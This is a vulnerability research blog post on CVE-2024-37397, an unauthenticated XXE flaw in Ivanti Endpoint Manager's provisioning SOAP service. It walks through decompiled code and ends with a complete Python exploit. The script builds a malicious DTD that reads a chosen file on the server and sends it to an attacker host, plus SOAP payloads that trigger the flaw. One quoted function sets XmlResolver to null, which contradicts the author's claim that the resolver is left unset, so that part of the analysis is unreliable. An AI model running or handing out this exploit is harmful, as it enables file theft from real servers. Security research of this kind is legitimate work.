Skip to main content
  1. Posts/

CVE 2024-37397 - Ivanti Endpoint Manager XXE Vulnerability

·2762 words·13 mins

This blog provides an in-depth analysis of the exploitation process for an unauthenticated XXE vulnerability in Ivanti Endpoint Manager, identified as CVE-2024-37397.

Uncovering the ImportXml Vulnerability #


This vulnerability was identified by 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044 and detailed in the ZDI advisory, which provided key information about the affected component. The advisory mentioned that the XXE vulnerability was found in the ImportXml function, guiding us to search for references to this specific function.

I was able to get an evaluation copy of the Endpoint Manager using Wayback Machine, from there setup was as easy as following the prompts.

Once the installation was complete, I used ripgrep tool to look for any references for ImportXml within the installed directory. Multiple instances were found in following DLLs:

Fortunately, these DLLs are .NET executables, we can load it into the dnSpy and start analyzing right way. Once loaded, we can see that there are multiple classes where importXml is defined and used.

One thing that is common in all of the ImportXml functions defined everywhere is that none of them explictly make the XmlResolver as null which is a workaround for XXE vulnerabilities in .NET applications. Given that we now know which DLL has the definition for our vulnerable function, it is now time to look into which function actually calls for this function so we can trigger this for our gain.

Triggering the Vulnerability: Understanding the Flaw #

Initially, when running rg again, there were no other DLLs where ImportXml was called. This indicated that we might be looking for a pattern where a function from the identified DLL calls ImportXml, and that function is called elsewhere. Running rg in this case would be time-consuming and might not yield concrete results, so we needed to move forward by understanding the different components of the application, or alternatively, by considering the paths of the identified DLLs.

One place where the [] DLL was found was under ProvisioningWebService. Given its name, this most likely suggests that a web service is being handled by the DLLs in this directory. Upon further investigation, we identified the following DLLs:

There is a ProvisioningWebService.dll, which looks promising. Loading it into dnSpy, we can see that the DLL has a class ProvisioningService which has multiple methods defined:

Checking these methods has [WebMethod] attributes defined, indicating that these methods handle data from web requests.

Looking into the imports of this class, we can see that LANDesk.Provisioning.Business DLL is called, given that we might be on right track of finding the source/sink pattern of our vulnerability.

using LANDesk.Provisioning.Business;

As we observed earlier, there were no reference of ImportXml directly found within any DLL and ProvisioningService class was no different but we see that there are some methods that were defined within the LANDesk.Provisioning.Business are called here such as PHistoryTask or PHistoryEntry. The identified functions were GetProvisioningBootOption which was as following:

	[WebMethod]
		public int GetProvisioningBootOption(string clientMacAddress, string pxeProxyMacAddress, ref int holdingQueuePEtype)
		{
			int num = 0;
			this.log.Log(PRollingLog.logLevel.VERBOSE, ">>  GetProvisioningBootOption, clientMacAddress={0}", new object[]
			{
				clientMacAddress
			});
			ServerIdentifier[] sids = new ServerIdentifier[]
			{
				ServerIdentifier.getInstance(ServerIdentifierType.MACAddress, clientMacAddress)
			};
			int ldTaskIdn = 0;
			int[] computerId = TemplateFinder.GetComputerId(sids);
			if (computerId.Length < 1)
			{
				this.log.Log(PRollingLog.logLevel.ERROR, "Unable to find computer with Macaddress {0}", new object[]
				{
					clientMacAddress

[..snip..]           

Certain things that is observable at first is the argument, we see that it takes two different arguments clientMacAddress and other was pxeProxyMacAddress which did not seem like something where we can inject some payload or try, at least from the naked eye. But that’s where the other function named SetActionStatus entered in the play. Looking closer into the function we see that it indeed takes an argument of actionXml which seemed promising right off the bat.

		[WebMethod]
		public ProvisioningService.SetActionStatusRet SetActionStatus(int historyTaskIDN, int historyEntryIDN, int nextHistoryEntryIDN, string actionState, int internalRetval, int externalRetval, string strCapturedText, UserVariable[] Variables, string actionXml)
		{
			this.log.Log(PRollingLog.logLevel.VERBOSE, "SetActionStatus (historyTaskIdn {0}, historyEntryIdn {1}, next {2}): state {3}", new object[]
			{
				historyTaskIDN,
				historyEntryIDN,
				nextHistoryEntryIDN,
				actionState
			});
			PError perror = new PError();
			bool flag = PHistoryEntry.WriteActionStatus(historyTaskIDN, historyEntryIDN, nextHistoryEntryIDN, actionState, internalRetval, externalRetval, strCapturedText, Variables, actionXml, ref perror);
			if (flag)
			{
				return ProvisioningService.SetActionStatusRet.Ok;
			}
			this.log.Log(PRollingLog.logLevel.ERROR, "Unable to set the action status (historyTaskIdn {0}, historyEntryIdn {1}, next {2}): {3}", new object[]
			{
				historyTaskIDN,
				historyEntryIDN,
				nextHistoryEntryIDN,
				perror.Message
			});
			return ProvisioningService.SetActionStatusRet.SetStatusFailed;
		}

Since this is also a [WebMethod] we can be cetain that this particular method can be invoked somehow from the HTTP request. Further analysis of this revealed that it calls PHistoryEntry.WriteActionStatus method which is defined LANDesk.Provisioning.Business DLL. The arguments passed into the WriteActionStatus is something we will take a note of when analyzing the WriteActionStatus class.

Now, when we check the PHistoryEntry class, we notice that there is a defined method ImportXml as well as our method in question WriteActionStatus. Checking the ImportXml method, we see that it takes the actionXml as string and later processes it via the XmlDocument parser. As we discussed earlier, the XmlResolver value is not set to null meaning that we have can include external DTDs and the parser here will attempt to get the definition from the DTD and perform the processing of the same.

		protected internal bool ImportXml(string actionXml)
		{
			bool flag = true;
			try
			{
				if (flag)
				{
					flag = PUser.ValidateProvisioningCreateRight(ref this.err);
				}
				XmlDocument xmlDocument = null;
				XmlNode xmlNode = null;
				if (flag && actionXml != null && actionXml.Length > 0)
				{
					xmlDocument = new XmlDocument();
					xmlDocument.XmlResolver = null;
					xmlDocument.LoadXml(actionXml);
					xmlNode = xmlDocument.SelectSingleNode("xmlsnippet");
					if (xmlNode != null)
					{
						xmlNode = xmlNode.FirstChild;
					}
					if (xmlNode != null && xmlNode.Name == "variables")
					{
						xmlNode = xmlNode.NextSibling;

But before going there, we need to check how the WriteActionStatus calls our ImportXml and how we can actually trigger our vulnerability. The WriteActionStatus method was defined as follows:

public bool WriteActionStatus(int historyTaskIDN, int historyEntryIDN, int nextHistoryEntryIDN, string actionState, int internalRetval, int externalRetval, string strCapturedText, UserVariable[] UserVariables, string actionXml, ref PError err)
		{
			PRollingLog prollingLog = new PRollingLog("PHistoryEntry");
			PHistoryTask phistoryTask = null;
			PHistoryEntry phistoryEntry = null;
			PHistoryEntry phistoryEntry2 = null;
			DateTime utcNow = DateTime.UtcNow;
			HistoryEntryStateType historyEntryStateType = HistoryEntryStateType.UNKNOWN;
			bool flag = false;
			bool flag2 = true;
			if (!flag2)
			{
				return false;
			}
			try
			{
				if (flag2)
				{
					phistoryEntry = new PHistoryEntry(historyEntryIDN);
					phistoryEntry2 = new PHistoryEntry(nextHistoryEntryIDN);
					phistoryTask = new PHistoryTask(historyTaskIDN);
					if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) && OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
					{
						phistoryTask = new PHistoryTask(phistoryEntry.HistoryTaskId);
					}
					if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) && OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
					{
						phistoryTask = new PHistoryTask(phistoryEntry2.HistoryTaskId);
					}
					if (OleDbHelper.IsValidIdnRange(historyEntryIDN) && !OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
					{
						prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. History entry record Idn='{0}' does not exist.", historyEntryIDN), Array.Empty<object>());
						err = new PError("L10n.Provisioning.Error.InvalidHistoryEntry", null, PBL.DEBUGLOC, err);
						flag2 = false;
					}
					if (OleDbHelper.IsValidIdnRange(nextHistoryEntryIDN) && !OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
					{
						prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Next history entry record Idn='{0}' does not exist.", nextHistoryEntryIDN), Array.Empty<object>());
						err = new PError("L10n.Provisioning.Error.InvalidHistoryEntry", null, PBL.DEBUGLOC, err);
						flag2 = false;
					}
					if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) || (OleDbHelper.IsValidIdnRange(phistoryEntry.Id) && phistoryTask.Id != phistoryEntry.HistoryTaskId) || (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id) && phistoryTask.Id != phistoryEntry2.HistoryTaskId))
					{
						prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Problem with history task record Idn, Declared history task Idn='{0}'. History entry's task Idn='{1}. Next history entry's task Idn='{2}", historyTaskIDN, phistoryEntry.HistoryTaskId, phistoryEntry2.HistoryTaskId), Array.Empty<object>());
						err = new PError("L10n.Provisioning.Error.InvalidHistoryTask", null, PBL.DEBUGLOC, err);
						flag2 = false;
					}
				}
				if (flag2 && phistoryTask.Template == null)
				{
					prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Unable to locate template Idn='{0}' for history task Idn='{1}'.", phistoryTask.TemplateId, phistoryTask.Id), Array.Empty<object>());
					err = new PError("L10n.Provisioning.Error.InvalidTemplate", null, PBL.DEBUGLOC, err);
					flag2 = false;
				}
				if (flag2 && !OleDbHelper.IsValidIdnRange(phistoryTask.LDTaskId))
				{
					prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. The scheduler LDTask is missing for history task Idn {0}.", phistoryTask.Id), Array.Empty<object>());
					err = new PError("L10n.Provisioning.Error.InvalidScheduledTask", null, PBL.DEBUGLOC, err);
					flag2 = false;
					flag = true;
				}
				if (flag2 && phistoryTask.State != HistoryTaskStateType.Running && phistoryTask.State != HistoryTaskStateType.Waiting && phistoryTask.State != HistoryTaskStateType.Canceled)
				{
					prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Altering history task Idn {0} state is not allowed. {1}.", phistoryTask.Id, phistoryTask.State), Array.Empty<object>());
					err = new PError("L10n.Provisioning.Error.HistoryTaskNotRunning", null, PBL.DEBUGLOC, err);
					flag2 = false;
				}
				if (flag2 && (phistoryEntry.State == HistoryEntryStateType.SUCCESS || phistoryEntry.State == HistoryEntryStateType.FAILED))
				{
					prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Altering history entry Idn {0} state is not allowed. {1}.", phistoryEntry.Id, phistoryEntry.State), Array.Empty<object>());
					err = new PError("L10n.Provisioning.Error.UnableToModifyHistoryEntry", null, PBL.DEBUGLOC, err);
					flag2 = false;
				}
				if (flag2)
				{
					foreach (string a in Enum.GetNames(typeof(HistoryEntryStateType)))
					{
						if (a == actionState)
						{
							historyEntryStateType = (HistoryEntryStateType)Enum.Parse(typeof(HistoryEntryStateType), actionState);
							break;
						}
					}
					if (historyEntryStateType == HistoryEntryStateType.UNKNOWN)
					{
						prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Action state does not map to a business layer enum value, '{0}'.", actionState), Array.Empty<object>());
						err = new PError("L10n.Provisioning.Error.UnableToModifyHistoryEntry", null, PBL.DEBUGLOC, err);
						flag2 = false;
					}
					else if (historyEntryStateType == HistoryEntryStateType.NEED_REBOOT)
					{
						historyEntryStateType = HistoryEntryStateType.REBOOTING;
					}
				}
				bool flag3 = false;
				bool flag4 = false;
				bool flag5 = false;
				bool flag6 = false;
				if (flag2)
				{
					if (historyEntryStateType == HistoryEntryStateType.FAILED && phistoryEntry.MustSucceed)
					{
						flag = true;
					}
					if (historyEntryIDN == -1 && nextHistoryEntryIDN == -1)
					{
						flag = true;
					}
					else if (OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
					{
						flag3 = true;
						flag4 = true;
						if (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
						{
							flag5 = true;
						}
						else if (historyEntryStateType != HistoryEntryStateType.MIGHT_REBOOT && historyEntryStateType != HistoryEntryStateType.REBOOTING && historyEntryStateType != HistoryEntryStateType.WAITINGONSWD)
						{
							flag = true;
						}
						else if (actionXml != null && actionXml.Length > 0)
						{
							flag5 = true;
							flag6 = true;
						}
					}
				}
				bool flag7 = true;
				if (flag3)
				{
					phistoryEntry.TimestampUTC = utcNow;
					phistoryEntry.State = historyEntryStateType;
					if (phistoryEntry.State != HistoryEntryStateType.MIGHT_REBOOT && phistoryEntry.State != HistoryEntryStateType.REBOOTING)
					{
						phistoryEntry.IntReturnValue = internalRetval;
						phistoryEntry.ExtReturnValue = externalRetval;
						Encoding ascii = Encoding.ASCII;
						phistoryEntry.Blob = ascii.GetBytes(strCapturedText);
					}
					flag7 = phistoryEntry.Commit();
					if (!flag7)
					{
						err = new PError(null, null, PBL.DEBUGLOC, phistoryEntry.Error);
					}
				}
				if (flag4)
				{
					int historyEntryIdn = phistoryTask.HistoryEntryId;
					if (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
					{
						historyEntryIdn = phistoryEntry2.Id;
					}
					try
					{
						OleDbHelper.BeginTransaction();
						int rv = HistoryTask.UpdateRow(phistoryTask.Id, historyEntryIdn, utcNow);
						if (!OleDbHelper.IsGoodUpdateReturnValue(rv))
						{
							err = new PError("L10n.Provisioning.Error.DatabaseError", null, PBL.DEBUGLOC, err);
							flag7 = false;
						}
					}
					finally
					{
						OleDbHelper.CommitTransaction();
					}
				}
				if (flag6 && actionXml != null && actionXml.Length > 0)
				{
					PHistoryEntry phistoryEntry3 = new PHistoryEntry();
					flag7 = phistoryEntry3.ImportXml(actionXml);
					if (!flag7)
					{
						err = new PError(null, null, PBL.DEBUGLOC, phistoryEntry3.Error);
					}
					ArrayList arrayList = null;
					flag7 = PHistoryEntry.Read(phistoryTask.Template.Id, phistoryEntry.HistoryTaskId, out arrayList, ref err);
					if (flag7)
					{
						phistoryEntry3.Name = L10n.GetString("HistoryEntry.InjectedActionName");
						phistoryEntry3.HistoryTaskId = phistoryTask.Id;
						phistoryEntry3.SectionId = phistoryEntry.SectionId;
						foreach (object obj in arrayList)
						{
							PHistoryEntry phistoryEntry4 = (PHistoryEntry)obj;
							if (phistoryEntry4.SectionId == phistoryEntry.SectionId)
							{
[..snip..]

This is rather a very large function to analyze but luckily, I managed to bring it down to certain simplicity. But before that, let’s check it’s POST request and the actual data we have to sent to the application as part of our HTTP request. Given that we know the service is running on port 8443 and we have IIS manager insalled on our Windows Server, we can navigate within the IIS Manager and find the ProvisioningWebService path and then attempt to reach it from browser.

If you have ever come across any of the writeups related to Ivanti Endpoint Manager, you would know majority of them is done through SOAP API and this is not exception. One good thing about SOAP APIs is that it will list the methods supported by the API and give us sample request and an example response to work with.

Now, that we have a sample SetActionStatus request to work with, let’s see how exactly we can reach our targeted function.

Overcoming Obstacles: Challenges in Exploiting XXE #

Now, let’s dive deeper into analyzing the logic of WriteActionStatus to reach the part where the ImportXml function is called. Instead of going line by line through the code, we’ll focus on the main checkpoints that lead us to ImportXml.

		if (flag6 && actionXml != null && actionXml.Length > 0)
		{
			PHistoryEntry phistoryEntry3 = new PHistoryEntry();
			flag7 = phistoryEntry3.ImportXml(actionXml);
			if (!flag7)

First, the historyEntryIDN must be valid. This kicks off a series of database lookups involving history tasks and entries. These values are retrieved based on the initial historyEntryIDN. If all validations pass and flag2 remains true, the next significant check involves actionXml. The logic behind flag6 is simple—it checks if actionXml is empty. If it’s not, this sets up the possibility of calling ImportXml.

However, before reaching that point, other conditions must be satisfied, such as ensuring the history entry’s state isn’t in a “stale” mode (like rebooting or waiting for software delivery). Provided these conditions hold true and flag6 is set, we finally encounter the block that executes ImportXml. At this point, flag6 confirms that actionXml contains valid data, allowing us to pass the final check and proceed with the import.

Note: I had to make my own entries within the database to get through the check of historyEntryIDN. I had the ID as 5 into the database, so we will be using that in our exploit but rest assured there is a way to get through it when attacking a real target.

Exploiting XXE: Turning Theory Into Action #

Now, it is time we get our hands dirty. Let’s paste the sample request:

<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
      <SetActionStatus xmlns="http://tempuri.org/">
        <historyTaskIDN>100</historyTaskIDN>
        <historyEntryIDN>5</historyEntryIDN>
        <nextHistoryEntryIDN>0</nextHistoryEntryIDN>
        <actionState>NEED_REBOOT</actionState>
        <internalRetval>1</internalRetval>
        <externalRetval>1</externalRetval>
        <strCapturedText>string</strCapturedText>
        <Variables>
          <UserVariable>
            <Name>string</Name>
            <Value>string</Value>
            <VariableOperation>add</VariableOperation>
          </UserVariable>
          <UserVariable>
            <Name>string</Name>
            <Value>string</Value>
            <VariableOperation>add</VariableOperation>
          </UserVariable>
        </Variables>
        <actionXml><![CDATA[
  <!DOCTYPE foo [<!ENTITY example SYSTEM 
  "http:///192.168.1.44:8000"> ]>
  <data>&example;</data>
  ]]>
  </actionXml>
      </SetActionStatus>
    </soap:Body>
  </soap:Envelope>

Observing the request within the Burp Suite showed a 200 response and we observe a hit on our listener:

XXE Exploit Sample - Burp Suite

Crafting the Final Exploit #

From the previous analysis, we understood that a valid historyEntryID is required to perform the SetActionStatus action. Like most exploits, my aim was to minimize dependencies on pre-existing data. In this case, we can leverage the GetTasksXml method to retrieve valid IDs and use them in the SetActionStatus request alongside our XXE payload, leading to the final exploit.

The final exploit combines the GetTasksXml and SetActionStatus requests. Essentially, GetTasksXml retrieves the valid historyEntryID, which is then used in the SetActionStatus request containing the XXE payload. Unfortunately, at the time of writing, the installed version had a license expiration issue, making reinstallation more complex than expected. However, the final exploit can be found here and is also pasted below:

# ---------------------------------------------------------
# Exploit Title: Ivanti Endpoint Manager Unauthorized XXE Exploit
# CVE: CVE-2024-37397
# Date: 2024-09-17
# Exploit Author: @D4mianWayne
# Vulnerability Discovered by: 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044 (Trend Micro)
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://www.ivanti.com/products/ivanti-endpoint-manager
# Version: Affected versions [mention affected versions]
# Tested on: Ivanti Endpoint Manager version X.X.X
# CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37397
# ---------------------------------------------------------



import requests
import argparse
import urllib3
import xml.etree.ElementTree as ET

def print_banner():
    print("="*50)
    print("     Exploit Script for CVE-2024-37397")
    print("     Unauthorized XXE Exploit in Ivanti Endpoint Manager")
    print("="*50)
    print("     Created by @D4mianWayne")
    print("     Date: 2024-09-17")
    print("="*50)

# Call the function to display the banner



def log(message, status="info"):
    if status == "success":
        print(f"[+] {message}")
    elif status == "log":
        print(f"[*] {message}")
    else:
        print(f"[-] {message}")

# Function to create the malicious DTD file since this is a blind XXE so we are performing an
# OOB XXE attack and exfiltrate data

def create_malicious_dtd(file_path, local_ip):
    dtd_content = f'''<!ENTITY % file SYSTEM "file:///{file_path}">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{local_ip}:4444/?content=%file;'>">
%eval;
%exfiltrate;
'''
    with open('malicious.dtd', 'w') as dtd_file:
        dtd_file.write(dtd_content)
    log(f"Malicious DTD created at malicious.dtd", "success")


def getTasksXml(target_url):
  log("Attempting to retrieve historyEntryIDN via getTasksXml", "log")
  headers = {
      "Content-Type": "text/xml; charset=utf-8",
      "Soapaction": '"http://tempuri.org/GetTaskXml"'
  }
  soap_request = '''<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <GetTaskXml xmlns="http://tempuri.org/">
          <sids>
            <ServerIdentifier>
              <sit>Test</sit>
              <sIdentifier>string</sIdentifier>
            </ServerIdentifier>
            <ServerIdentifier>
              <sit>Test</sit>
              <sIdentifier>string</sIdentifier>
            </ServerIdentifier>
          </sids>
        </GetTaskXml>
      </soap:Body>
    </soap:Envelope>'''

  response = requests.post("{}/LANDesk/ManagementSuite/Core/ProvisioningWebService/WebService.asmx".format(target_url), data=soap_request, headers=headers, verify=False)
  root = ET.fromstring(response.text)
  namespace = {'ns': 'http://tempuri.org/'}
  result = root.find('.//ns:GetTaskXmlResult', namespace)
  if result is not None:
    return result.text
  else:
      log("GetTaskXmlResult not found", "error")
      exit(1)

# SOAP Request for invoking SetActionStatus, a valid historyEntryIDN is required for certain checks to be 
# fulfilled but I believe it can be bruteforced to work. Additionally, the actionXml content are being passed to the
# ImportXml function which was found to be vulnerable to XXE as XmlUrlXmlResolver wasn't set to null explicitly.

def send_soap_request(target_url, local_ip):
  historyEntryIDN = getTasksXml(target_url)
  log("Retrieved historyEntryIDN {}".format(historyEntryIDN), "success")
  log("Crafting SOAP Request to invole SetActionStatus", "log")
  soap_payload = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
      <SetActionStatus xmlns="http://tempuri.org/">
        <historyTaskIDN>100</historyTaskIDN>
        <historyEntryIDN>{}</historyEntryIDN>
        <nextHistoryEntryIDN>0</nextHistoryEntryIDN>
        <actionState>NEED_REBOOT</actionState>
        <internalRetval>1</internalRetval>
        <externalRetval>1</externalRetval>
        <strCapturedText>string</strCapturedText>
        <Variables>
          <UserVariable>
            <Name>string</Name>
            <Value>string</Value>
            <VariableOperation>add</VariableOperation>
          </UserVariable>
          <UserVariable>
            <Name>string</Name>
            <Value>string</Value>
            <VariableOperation>add</VariableOperation>
          </UserVariable>
        </Variables>
        <actionXml><![CDATA[
  <!DOCTYPE a [
  <!ENTITY % asd SYSTEM "http://{}/malicious.dtd">
  %asd;
  %c; 
  ]>
  <a></a>
  ]]></actionXml>
      </SetActionStatus>
    </soap:Body>
  </soap:Envelope>'''.format(historyEntryIDN, local_ip)

  # Define the headers
  headers = {
      "Content-Type": "text/xml; charset=utf-8",
      "Soapaction": '"http://tempuri.org/SetActionStatus"'
  }

  # The target URL
  log("Sending Request.....", "log")
  url = "{}/LANDesk/ManagementSuite/Core/ProvisioningWebService/WebService.asmx".format(target_url)

  # Send the POST request
  try:
    response = requests.post(url, data=soap_payload, headers=headers, verify=False)
  # Print the response from the server
    log("Request Successfully Sent!", "success")
    print(f"Response Status Code: {response.status_code}")
    print("Response Content:")
    print(response.text)
  except Exception as E:
    log("Error occured: {}".format(E), "log")


def main():
    parser = argparse.ArgumentParser(description="XXE Exploit Script")
    parser.add_argument("target_url", help="Target URL of the web service")
    parser.add_argument("file_path", help="Path of the file to exfiltrate")
    parser.add_argument("local_ip", help="Local IP address for DTD hosting")
    
    args = parser.parse_args()

    # Create the malicious DTD
    create_malicious_dtd(args.file_path, args.local_ip)

    # Start the HTTP server in a separate thread
    # Send the SOAP request
    send_soap_request(args.target_url, args.local_ip)

if __name__ == "__main__":
    print_banner()
    main()